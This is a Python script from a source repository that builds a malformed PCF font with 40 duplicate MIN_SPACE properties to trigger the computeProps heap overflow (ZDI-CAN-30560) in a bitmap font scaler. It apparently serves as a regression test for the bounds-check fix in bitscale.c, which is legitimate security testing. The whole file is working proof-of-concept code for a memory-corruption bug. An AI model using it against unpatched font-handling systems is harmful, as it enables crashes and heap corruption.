1 1.1 mrg #!/usr/bin/env python3 2 1.1 mrg """ 3 1.1 mrg Generate a malicious PCF font that triggers the computeProps property 4 1.1 mrg buffer heap overflow (ZDI-CAN-30560). 5 1.1 mrg 6 1.1 mrg The font has 40 duplicate MIN_SPACE properties. When the bitmap scaler 7 1.1 mrg processes this font, computeProps writes 2 slots per scaledX match with 8 1.1 mrg no bounds check, overflowing the fixed 70-slot property buffer. 9 1.1 mrg 10 1.1 mrg With the fix in bitscale.c, computeProps checks remaining buffer capacity 11 1.1 mrg and silently skips properties that would overflow. 12 1.1 mrg 13 1.1 mrg Usage: 14 1.1 mrg python3 gen_evil_pcf_props.py <output_dir> 15 1.1 mrg 16 1.1 mrg Creates <output_dir>/evil-props.pcf and <output_dir>/fonts.dir 17 1.1 mrg The font is stored at pixel=10; opening at a different pixel size 18 1.1 mrg triggers the scaling path. 19 1.1 mrg """ 20 1.1 mrg 21 1.1 mrg import struct 22 1.1 mrg import sys 23 1.1 mrg import os 24 1.1 mrg 25 1.1 mrg PCF_DEFAULT_FORMAT = 0x00000000 26 1.1 mrg PCF_PROPERTIES = 1 27 1.1 mrg PCF_ACCELERATORS = 2 28 1.1 mrg PCF_METRICS = 4 29 1.1 mrg PCF_BITMAPS = 8 30 1.1 mrg PCF_BDF_ENCODINGS = 32 31 1.1 mrg 32 1.1 mrg 33 1.1 mrg def u32(x): 34 1.1 mrg return struct.pack("<I", x & 0xFFFFFFFF) 35 1.1 mrg 36 1.1 mrg 37 1.1 mrg def i32(x): 38 1.1 mrg return struct.pack("<i", x) 39 1.1 mrg 40 1.1 mrg 41 1.1 mrg def u16(x): 42 1.1 mrg return struct.pack("<H", x & 0xFFFF) 43 1.1 mrg 44 1.1 mrg 45 1.1 mrg def i16(x): 46 1.1 mrg return struct.pack("<h", x) 47 1.1 mrg 48 1.1 mrg 49 1.1 mrg def u8(x): 50 1.1 mrg return struct.pack("<B", x & 0xFF) 51 1.1 mrg 52 1.1 mrg 53 1.1 mrg def xCharInfo(lsb, rsb, cw, asc, desc, attr): 54 1.1 mrg return i16(lsb) + i16(rsb) + i16(cw) + i16(asc) + i16(desc) + u16(attr) 55 1.1 mrg 56 1.1 mrg 57 1.1 mrg NUM_MIN_SPACE = 40 58 1.1 mrg PROP_VALUE_BASE = 0x11223300 59 1.1 mrg 60 1.1 mrg MAX_LSB, MAX_RSB = 0, 4 61 1.1 mrg MAX_ASCENT, MAX_DESCENT = 2, 2 62 1.1 mrg 63 1.1 mrg # --- PROPERTIES (40 duplicate MIN_SPACE) --- 64 1.1 mrg prop_name_atom = b"MIN_SPACE\0" 65 1.1 mrg properties = b"" 66 1.1 mrg properties += u32(PCF_DEFAULT_FORMAT) 67 1.1 mrg properties += i32(NUM_MIN_SPACE) 68 1.1 mrg for i in range(NUM_MIN_SPACE): 69 1.1 mrg properties += i32(0) # name offset = 0 -> "MIN_SPACE" 70 1.1 mrg properties += u8(0) # isStringProp = 0 71 1.1 mrg properties += i32(PROP_VALUE_BASE + i) # unique value 72 1.1 mrg pad_count = (4 - (NUM_MIN_SPACE % 4)) % 4 73 1.1 mrg properties += b"\x00" * pad_count 74 1.1 mrg properties += i32(len(prop_name_atom)) 75 1.1 mrg properties += prop_name_atom 76 1.1 mrg 77 1.1 mrg # --- ACCELERATORS --- 78 1.1 mrg accel = b"" 79 1.1 mrg accel += u32(PCF_DEFAULT_FORMAT) 80 1.1 mrg accel += u8(0) * 8 81 1.1 mrg accel += i32(MAX_ASCENT) 82 1.1 mrg accel += i32(MAX_DESCENT) 83 1.1 mrg accel += i32(0) 84 1.1 mrg accel += xCharInfo(0, 0, 0, 0, 0, 0) 85 1.1 mrg accel += xCharInfo(MAX_LSB, MAX_RSB, MAX_RSB, MAX_ASCENT, MAX_DESCENT, 0) 86 1.1 mrg 87 1.1 mrg # --- METRICS (1 glyph, small) --- 88 1.1 mrg metrics = b"" 89 1.1 mrg metrics += u32(PCF_DEFAULT_FORMAT) 90 1.1 mrg metrics += i32(1) 91 1.1 mrg metrics += xCharInfo(MAX_LSB, MAX_RSB, MAX_RSB, MAX_ASCENT, MAX_DESCENT, 0) 92 1.1 mrg 93 1.1 mrg # --- BITMAPS --- 94 1.1 mrg bitmap_data = b"\x80" * 4 95 1.1 mrg BITMAP_SIZES = [4, 8, 32, 64] 96 1.1 mrg bitmaps = b"" 97 1.1 mrg bitmaps += u32(PCF_DEFAULT_FORMAT) 98 1.1 mrg bitmaps += i32(1) 99 1.1 mrg bitmaps += u32(0) 100 1.1 mrg for sz in BITMAP_SIZES: 101 1.1 mrg bitmaps += u32(sz) 102 1.1 mrg bitmaps += bitmap_data 103 1.1 mrg 104 1.1 mrg # --- BDF_ENCODINGS --- 105 1.1 mrg encodings = b"" 106 1.1 mrg encodings += u32(PCF_DEFAULT_FORMAT) 107 1.1 mrg encodings += u16(0) + u16(0) 108 1.1 mrg encodings += u16(0) + u16(0) 109 1.1 mrg encodings += u16(0) 110 1.1 mrg encodings += u16(0) 111 1.1 mrg 112 1.1 mrg # --- Assemble --- 113 1.1 mrg TABLE_COUNT = 5 114 1.1 mrg BODY_START = 8 + TABLE_COUNT * 16 115 1.1 mrg 116 1.1 mrg properties_off = BODY_START 117 1.1 mrg accel_off = properties_off + len(properties) 118 1.1 mrg metrics_off = accel_off + len(accel) 119 1.1 mrg bitmaps_off = metrics_off + len(metrics) 120 1.1 mrg encodings_off = bitmaps_off + len(bitmaps) 121 1.1 mrg 122 1.1 mrg 123 1.1 mrg def toc(type_, format_, size, offset): 124 1.1 mrg return u32(type_) + u32(format_) + u32(size) + u32(offset) 125 1.1 mrg 126 1.1 mrg 127 1.1 mrg out = b"\x01fcp" + u32(TABLE_COUNT) 128 1.1 mrg out += toc(PCF_PROPERTIES, 0, len(properties), properties_off) 129 1.1 mrg out += toc(PCF_ACCELERATORS, 0, len(accel), accel_off) 130 1.1 mrg out += toc(PCF_METRICS, 0, len(metrics), metrics_off) 131 1.1 mrg out += toc(PCF_BITMAPS, 0, len(bitmaps), bitmaps_off) 132 1.1 mrg out += toc(PCF_BDF_ENCODINGS, 0, len(encodings), encodings_off) 133 1.1 mrg out += properties + accel + metrics + bitmaps + encodings 134 1.1 mrg 135 1.1 mrg output_dir = sys.argv[1] if len(sys.argv) > 1 else "." 136 1.1 mrg os.makedirs(output_dir, exist_ok=True) 137 1.1 mrg 138 1.1 mrg pcf_name = "evil-props.pcf" 139 1.1 mrg # Stored at pixel=10; test must open at different size to trigger scaler 140 1.1 mrg xlfd = "-evil-props-medium-r-normal--10-100-75-75-c-80-iso10646-1" 141 1.1 mrg 142 1.1 mrg with open(os.path.join(output_dir, pcf_name), "wb") as f: 143 1.1 mrg f.write(out) 144 1.1 mrg 145 1.1 mrg with open(os.path.join(output_dir, "fonts.dir"), "w") as f: 146 1.1 mrg f.write("1\n") 147 1.1 mrg f.write(f"{pcf_name} {xlfd}\n") 148